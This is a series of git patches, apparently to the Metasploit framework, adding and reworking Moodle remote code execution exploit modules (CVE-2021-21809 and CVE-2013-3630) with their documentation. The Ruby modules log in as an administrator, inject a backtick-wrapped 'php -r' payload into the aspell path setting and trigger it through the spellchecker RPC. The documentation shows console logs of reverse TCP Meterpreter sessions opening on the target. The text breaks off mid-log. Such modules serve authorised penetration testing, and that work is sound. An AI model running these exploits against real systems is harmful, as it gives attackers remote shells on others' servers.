From c0a853576404e4ae616967134178d7ea2a5e444c Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 27 Aug 2021 17:56:37 -0400 Subject: [PATCH 01/15] moodle spellcheck rce --- .../multi/http/moodle_spellcheck_cmd_exec.md | 74 ++++++ .../multi/http/moodle_spellcheck_cmd_exec.rb | 220 ++++++++++++++++++ 2 files changed, 294 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md create mode 100644 modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb diff --git a/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md b/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md new file mode 100644 index 0000000000..852d67752f --- /dev/null +++ b/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +Moodle allows an authenticated administrator to define spellcheck settings via the web interface. +An administrator can update the aspell path to include a command injection. This is extremely +similar to CVE-2013-3630, just using a different variable. + +This module was tested against Moodle version 3.10.0. + +### Install + +Moodle provides a step by step guide to install their software +[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu) + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploits/multi/http/moodle_spellcheck_cmd_exec` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + +### Passowrd + +Password of an administrator. + +### Username + +Username of an administrator. Defaults to `admin` + +## Scenarios + +### Moodle 3.10.0 on Ubuntu 20.04 + +``` +resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spellcheck_cmd_exec +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (moodle_spellcheck.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (moodle_spellcheck.rb)> set username admin +username => admin +resource (moodle_spellcheck.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/ +targeturi => /moodle-3.10.0/ +resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_spellcheck.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_spellcheck.rb)> exploit +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Moodle instance found, version unknown +[*] Authenticating as user: admin with login token Em5QrqGXT96iLHXKaTDoIwArMueav9Hq +[*] Updating aspell path +[*] Changing spell engine to PSpellShell +[*] Triggering payload +[*] Sending stage (39282 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56014) at 2021-08-27 17:49:36 -0400 +[*] Sleeping 5 seconds before cleanup +[*] Authenticating as user: admin with login token mPj0QEp8KtPDgm8K9PNUauMu7wdwnSFY +[*] Removing RCE from settings + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +meterpreter > exit +``` diff --git a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb new file mode 100644 index 0000000000..dca801d5dd --- /dev/null +++ b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb @@ -0,0 +1,220 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# require 'rexml/document' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle SpellChecker Authenticated Remote Command Execution', + 'Description' => %q{ + Moodle allows an authenticated administrator to define spellcheck settings via the web interface. + An administrator can update the aspell path to include a command injection. This is extremely + similar to CVE-2013-3630, just using a different variable. + + This module was tested against Moodle version 3.10.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Adam Reiser', # Discovery + 'h00die' # msf module + ], + 'References' => + [ + ['CVE', '2021-21809'], + ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] + ], + 'Payload' => + { + 'BadChars' => "'", + 'Default' => 'payload/php/meterpreter/reverse_tcp' + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2021-06-22', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/']) + ] + ) + end + + def moodle? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + return CheckCode::Unknown('No response received from the target.') unless res + if res.body =~ /"moodle":{"name":"moodle",/ + return CheckCode::Detected('Moodle instance found, version unknown') + end + + CheckCode::Unknown('Website found, unknown service.') + end + + def change_aspellpath(value='') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => + { + 'section' => 'systempaths' + }, + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, 'Error retrieving settings') unless res + res.body =~ /sesskey":"([^"]+)"/ + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => + { + 'section' => 'systempaths' + }, + 'vars_post' => + { + 'section' => 'systempaths', + 'action' => 'save-settings', + 'sesskey' => Regexp.last_match(1), + 'return' => '', + 's__pathtophp' => '', + 's__pathtodu' => '', + 's__aspellpath' => value, + 's__pathtodot' => '', + 's__pathtogs' => '/usr/bin/gs', + 's__pathtopython' => '' + }, + 'keep_cookies' => true + }) + end + + def login + cookie_jar.clear + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), + 'keep_cookies' => true + }) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + res.body =~ /name="logintoken" value="([^"]+)">/ + + print_status("Authenticating as user: #{datastore['USERNAME']} with login token #{Regexp.last_match(1)}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), + 'vars_post' => + { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'anchor' => '', + 'logintoken' => Regexp.last_match(1) + }, + 'keep_cookies' => true + }) + + if !res || (res.code != 303) || !res.headers['Location'].include?('testsession=2') + fail_with(Failure::NoAccess, 'Login failed') + end + + # follow login + res = send_request_cgi({ + 'uri' => res.headers['Location'], + 'keep_cookies' => true + }) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + end + + def set_spellchecker(checker='') + # '' is None in the gui, and is the default + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => + { + 'section' => 'tinymcespellcheckersettings' + }, + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + res.body =~ /sesskey":"([^"]+)"/ + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => + { + 'section' => 'tinymcespellcheckersettings' + }, + 'vars_post' => + { + 'section' => 'tinymcespellcheckersettings', + 'action' => 'save-settings', + 'sesskey' => Regexp.last_match(1), + 'return' => '', + 's_tinymce_spellchecker_spellengine' => checker, + 's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default + }, + 'keep_cookies' => true + }) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + end + + def check + moodle? + end + + def exploit + login + print_status('Updating aspell path') + # Site administration, Server, Server, System paths + change_aspellpath("`php -r \"#{payload.encoded}\" &`") + + print_status('Changing spell engine to PSpellShell') + set_spellchecker('PSpellShell') + # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker + spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' + + print_status('Triggering payload') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'), + 'data' => spellcheck, + 'ctype' => 'application/json', + 'keep_cookies' => true + }) + + fail_with(Failure::Unreachable, 'Error triggering payload') if res + end + + def cleanup + print_status('Sleeping 5 seconds before cleanup') + Rex.sleep(5) + login + print_status('Removing RCE from settings') + change_aspellpath() + set_spellchecker() + super + end +end From b9c9ed243a4d735e99c7a415f713854b376a1d7c Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 27 Aug 2021 18:44:06 -0400 Subject: [PATCH 02/15] lint --- .../exploits/multi/http/moodle_spellcheck_cmd_exec.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb index dca801d5dd..4f9667da11 100644 --- a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote CheckCode::Unknown('Website found, unknown service.') end - def change_aspellpath(value='') + def change_aspellpath(value = '') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, 'No response received from the target.') unless res end - def set_spellchecker(checker='') + def set_spellchecker(checker = '') # '' is None in the gui, and is the default res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), @@ -208,13 +208,13 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, 'Error triggering payload') if res end - def cleanup + def cleanup print_status('Sleeping 5 seconds before cleanup') Rex.sleep(5) login print_status('Removing RCE from settings') - change_aspellpath() - set_spellchecker() + change_aspellpath + set_spellchecker super end end From cd24ad1bdfd043c17d186d7bcdb5cd146bd1d717 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 27 Aug 2021 19:53:45 -0400 Subject: [PATCH 03/15] lint --- .../multi/http/moodle_spellcheck_cmd_exec.rb | 27 +++++++++---------- 1 file changed, 12 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb index 4f9667da11..5bdd94675b 100644 --- a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb @@ -24,21 +24,18 @@ class MetasploitModule < Msf::Exploit::Remote This module was tested against Moodle version 3.10.0. }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'Adam Reiser', # Discovery - 'h00die' # msf module - ], - 'References' => - [ - ['CVE', '2021-21809'], - ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] - ], - 'Payload' => - { - 'BadChars' => "'", - 'Default' => 'payload/php/meterpreter/reverse_tcp' - }, + 'Author' => [ + 'Adam Reiser', # Discovery + 'h00die' # msf module + ], + 'References' => [ + ['CVE', '2021-21809'], + ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] + ], + 'Payload' => { + 'BadChars' => "'", + 'Default' => 'payload/php/meterpreter/reverse_tcp' + }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], From 3801c525c3b28273566a08dc51286537086d999e Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 27 Aug 2021 20:03:27 -0400 Subject: [PATCH 04/15] cleanup moodle_cmd_exec --- .../exploits/multi/http/moodle_cmd_exec.rb | 189 +++++++++--------- 1 file changed, 96 insertions(+), 93 deletions(-) diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index a3ef5b923b..6d0aeda667 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -10,146 +10,149 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => 'Moodle Remote Command Execution', - 'Description' => %q{ - Moodle allows an authenticated user to define spellcheck settings via the web interface. - The user can update the spellcheck mechanism to point to a system-installed aspell binary. - By updating the path for the spellchecker to an arbitrary command, an attacker can run - arbitrary commands in the context of the web application upon spellchecking requests. + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle Remote Command Execution', + 'Description' => %q{ + Moodle allows an authenticated user to define spellcheck settings via the web interface. + The user can update the spellcheck mechanism to point to a system-installed aspell binary. + By updating the path for the spellchecker to an arbitrary command, an attacker can run + arbitrary commands in the context of the web application upon spellchecking requests. - This module also allows an attacker to leverage another privilege escalation vuln. - Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey - and use this to escalate privileges to that of an admin, allowing the module to pop a shell - as a previously unprivileged authenticated user. + This module also allows an attacker to leverage another privilege escalation vuln. + Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey + and use this to escalate privileges to that of an admin, allowing the module to pop a shell + as a previously unprivileged authenticated user. - This module was tested against Moodle version 2.5.2 and 2.2.3. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Brandon Perry ' # Discovery / msf module - ], - 'References' => - [ - ['CVE', '2013-3630'], - ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen - ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats'] - ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby telnet python', - } - }, - 'Platform' => ['unix', 'linux'], - 'Arch' => ARCH_CMD, - 'Targets' => [['Automatic',{}]], - 'DisclosureDate' => '2013-10-30', - 'DefaultTarget' => 0 - )) + This module was tested against Moodle version 2.5.2 and 2.2.3. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => [ + ['CVE', '2013-3630'], + ['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen + ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats'] + ], + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby telnet python' + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2013-10-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) register_options( - [ - OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), - OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), - OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), - OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) - ]) + [ + OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), + OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/']) + ] + ) end def exploit init = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/index.php') + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'No response received from the target.') unless init - sess = init.get_cookies - post = { - 'username' => datastore["USERNAME"], - 'password' => datastore["PASSWORD"] - } - - print_status("Authenticating as user: " << datastore["USERNAME"]) + print_status('Authenticating as user: ' << datastore['USERNAME']) login = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/login/index.php'), - 'vars_post' => post, - 'cookie' => sess + 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + 'keep_cookies' => true }) - if !login or login.code != 303 - fail_with(Failure::NoAccess, "Login failed") + if !login || (login.code != 303) + fail_with(Failure::NoAccess, 'Login failed') end - sess = login.get_cookies - - print_status("Getting session key to update spellchecker if no session key was specified") + print_status('Getting session key to update spellchecker if no session key was specified') sesskey = '' if datastore['SESSKEY'] == '' tinymce = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', - 'cookie' => sess + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'vars_get' => { + 'section' => 'editorsettingstinymce' + }, + 'keep_cookies' => true }) sesskey = tinymce.get_hidden_inputs[1]['sesskey'] unless sesskey - fail_with(Failure::UnexpectedReply, "Unable to get proper session key") + fail_with(Failure::UnexpectedReply, 'Unable to get proper session key') end else sesskey = datastore['SESSKEY'] end - post = { - 'section' => 'editorsettingstinymce', - 'sesskey' => sesskey, - 'return' => '', - 's_editor_tinymce_spellengine' => 'PSpellShell', - 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' - } + # This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the + # time being since it may be the default, or it may just need a send_request_cgi added to actually + # accomplish the goal. + # post = { + # 'section' => 'editorsettingstinymce', + # 'sesskey' => sesskey, + # 'return' => '', + # 's_editor_tinymce_spellengine' => 'PSpellShell', + # 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' + # } - print_status("Updating spellchecker to use the system aspell") + print_status('Updating spellchecker to use the system aspell') - post = { - 'section' => 'systempaths', - 'sesskey' => sesskey, - 'return' => '', - 's__gdversion' => '2', - 's__pathtodu' => '/usr/bin/du', - 's__aspellpath' => payload.encoded, - 's__pathtodot' => '' - } - - aspell = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), - 'vars_post' => post, - 'cookie' => sess + 'vars_post' => { + 'section' => 'systempaths', + 'sesskey' => sesskey, + 'return' => '', + 's__gdversion' => '2', + 's__pathtodu' => '/usr/bin/du', + 's__aspellpath' => payload.encoded, + 's__pathtodot' => '' + }, + 'keep_cookies' => true }) spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' - print_status("Triggering payload") + print_status('Triggering payload') resp = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), + 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'), 'data' => spellcheck, 'ctype' => 'application/json', - 'cookie' => sess + 'keep_cookies' => true }) - if !resp or resp.code != 200 - fail_with(Failure::PayloadFailed, "Error triggering payload") + if !resp || (resp.code != 200) + fail_with(Failure::PayloadFailed, 'Error triggering payload') end - end end From a35be139583718bbb512ffcb3dc258b9c751e458 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 28 Aug 2021 08:10:28 -0400 Subject: [PATCH 05/15] moodle 3.8.0 tested --- .../modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md | 2 +- modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md b/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md index 852d67752f..14370ee95d 100644 --- a/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md +++ b/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md @@ -4,7 +4,7 @@ Moodle allows an authenticated administrator to define spellcheck settings via t An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. -This module was tested against Moodle version 3.10.0. +This module was tested against Moodle version 3.10.0, and 3.8.0. ### Install diff --git a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb index 5bdd94675b..03190cc578 100644 --- a/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_spellcheck_cmd_exec.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. - This module was tested against Moodle version 3.10.0. + This module was tested against Moodle version 3.10.0, and 3.8.0. }, 'License' => MSF_LICENSE, 'Author' => [ From 176c1f0751e6690356db5887cd2a2bb8cb03083e Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 29 Aug 2021 10:50:25 -0400 Subject: [PATCH 06/15] moodle lib and module --- .../multi/http/moodle_spellcheck_cmd_exec.md | 74 ----------- .../multi/http/moodle_spelling_path_rce.md | 118 ++++++++++++++++++ lib/msf/core/exploit/remote/http/moodle.rb | 35 ++++++ .../core/exploit/remote/http/moodle/base.rb | 29 +++++ .../exploit/remote/http/moodle/helpers.rb | 23 ++++ .../core/exploit/remote/http/moodle/login.rb | 34 +++++ .../core/exploit/remote/http/moodle/uris.rb | 10 ++ .../exploit/remote/http/moodle/version.rb | 30 +++++ ..._exec.rb => moodle_spelling_binary_rce.rb} | 18 ++- ...md_exec.rb => moodle_spelling_path_rce.rb} | 97 ++++++-------- 10 files changed, 330 insertions(+), 138 deletions(-) delete mode 100644 documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md create mode 100644 documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md create mode 100644 lib/msf/core/exploit/remote/http/moodle.rb create mode 100644 lib/msf/core/exploit/remote/http/moodle/base.rb create mode 100644 lib/msf/core/exploit/remote/http/moodle/helpers.rb create mode 100644 lib/msf/core/exploit/remote/http/moodle/login.rb create mode 100644 lib/msf/core/exploit/remote/http/moodle/uris.rb create mode 100644 lib/msf/core/exploit/remote/http/moodle/version.rb rename modules/exploits/multi/http/{moodle_cmd_exec.rb => moodle_spelling_binary_rce.rb} (88%) rename modules/exploits/multi/http/{moodle_spellcheck_cmd_exec.rb => moodle_spelling_path_rce.rb} (72%) diff --git a/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md b/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md deleted file mode 100644 index 14370ee95d..0000000000 --- a/documentation/modules/exploit/multi/http/moodle_spellcheck_cmd_exec.md +++ /dev/null @@ -1,74 +0,0 @@ -## Vulnerable Application - -Moodle allows an authenticated administrator to define spellcheck settings via the web interface. -An administrator can update the aspell path to include a command injection. This is extremely -similar to CVE-2013-3630, just using a different variable. - -This module was tested against Moodle version 3.10.0, and 3.8.0. - -### Install - -Moodle provides a step by step guide to install their software -[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu) - -## Verification Steps - -1. Install the application -1. Start msfconsole -1. Do: `use exploits/multi/http/moodle_spellcheck_cmd_exec` -1. Do: `set username [username]` -1. Do: `set password [password]` -1. Do: `run` -1. You should get a shell. - -## Options - -### Passowrd - -Password of an administrator. - -### Username - -Username of an administrator. Defaults to `admin` - -## Scenarios - -### Moodle 3.10.0 on Ubuntu 20.04 - -``` -resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spellcheck_cmd_exec -[*] No payload configured, defaulting to php/meterpreter/reverse_tcp -resource (moodle_spellcheck.rb)> set rhosts 1.1.1.1 -rhosts => 1.1.1.1 -resource (moodle_spellcheck.rb)> set username admin -username => admin -resource (moodle_spellcheck.rb)> set password Adminadmin1! -password => Adminadmin1! -resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/ -targeturi => /moodle-3.10.0/ -resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp -payload => php/meterpreter/reverse_tcp -resource (moodle_spellcheck.rb)> set lhost eth0 -lhost => eth0 -resource (moodle_spellcheck.rb)> exploit -[*] Started reverse TCP handler on 2.2.2.2:4444 -[*] Running automatic check ("set AutoCheck false" to disable) -[!] The service is running, but could not be validated. Moodle instance found, version unknown -[*] Authenticating as user: admin with login token Em5QrqGXT96iLHXKaTDoIwArMueav9Hq -[*] Updating aspell path -[*] Changing spell engine to PSpellShell -[*] Triggering payload -[*] Sending stage (39282 bytes) to 1.1.1.1 -[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56014) at 2021-08-27 17:49:36 -0400 -[*] Sleeping 5 seconds before cleanup -[*] Authenticating as user: admin with login token mPj0QEp8KtPDgm8K9PNUauMu7wdwnSFY -[*] Removing RCE from settings - -meterpreter > getuid -Server username: www-data (33) -meterpreter > sysinfo -Computer : moodle -OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 -Meterpreter : php/linux -meterpreter > exit -``` diff --git a/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md b/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md new file mode 100644 index 0000000000..11f1ae6e1a --- /dev/null +++ b/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +Moodle allows an authenticated administrator to define spellcheck settings via the web interface. +An administrator can update the aspell path to include a command injection. This is extremely +similar to CVE-2013-3630, just using a different variable. + +This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. Based on the +Talos advisory: `2021-04-21 - Vendor updated documentation to suggest best practices after installation`, +it is unclear if Moodle will patch this. Therefore it is unclear what the upper bounds +is on exploitation. + +### Install + +Moodle provides a step by step guide to install their software +[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu) + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploits/multi/http/moodle_spelling_path_rce` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + +### Passowrd + +Password of an administrator. + +### Username + +Username of an administrator. Defaults to `admin` + +## Scenarios + +### Moodle 3.10.0 on Ubuntu 20.04 + +``` +[*] Processing moodle_spellcheck.rb for ERB directives. +resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spelling_path_rce +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_spellcheck.rb)> set username admin +username => admin +resource (moodle_spellcheck.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/ +targeturi => /moodle-3.10.0/ +resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_spellcheck.rb)> set proxies http:127.0.0.1:8080 +proxies => http:127.0.0.1:8080 +resource (moodle_spellcheck.rb)> set ReverseAllowProxy true +ReverseAllowProxy => true +resource (moodle_spellcheck.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_spellcheck.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected +[*] Authenticating as user: admin +[*] Updating aspell path +[*] Changing spell engine to PSpellShell +[*] Triggering payload +[*] Sending stage (39282 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56124) at 2021-08-29 10:03:37 -0400 +[*] Sleeping 5 seconds before cleanup +[*] Authenticating as user: admin +[*] Removing RCE from settings + +meterpreter > getuid +Server username: www-data (33) +meterpreter > sysinfo +Computer : moodle +OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 +Meterpreter : php/linux +``` + +### Moodle 3.11.2 on Ubuntu 20.04 + +``` +resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (moodle_spellcheck.rb)> set username admin +username => admin +resource (moodle_spellcheck.rb)> set password Adminadmin1! +password => Adminadmin1! +resource (moodle_spellcheck.rb)> set targeturi /moodle-3.11.2/ +targeturi => /moodle-3.11.2/ +resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (moodle_spellcheck.rb)> set lhost eth0 +lhost => eth0 +resource (moodle_spellcheck.rb)> exploit +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected +[*] Authenticating as user: admin +[*] Updating aspell path +[*] Changing spell engine to PSpellShell +[*] Triggering payload +[*] Sending stage (39282 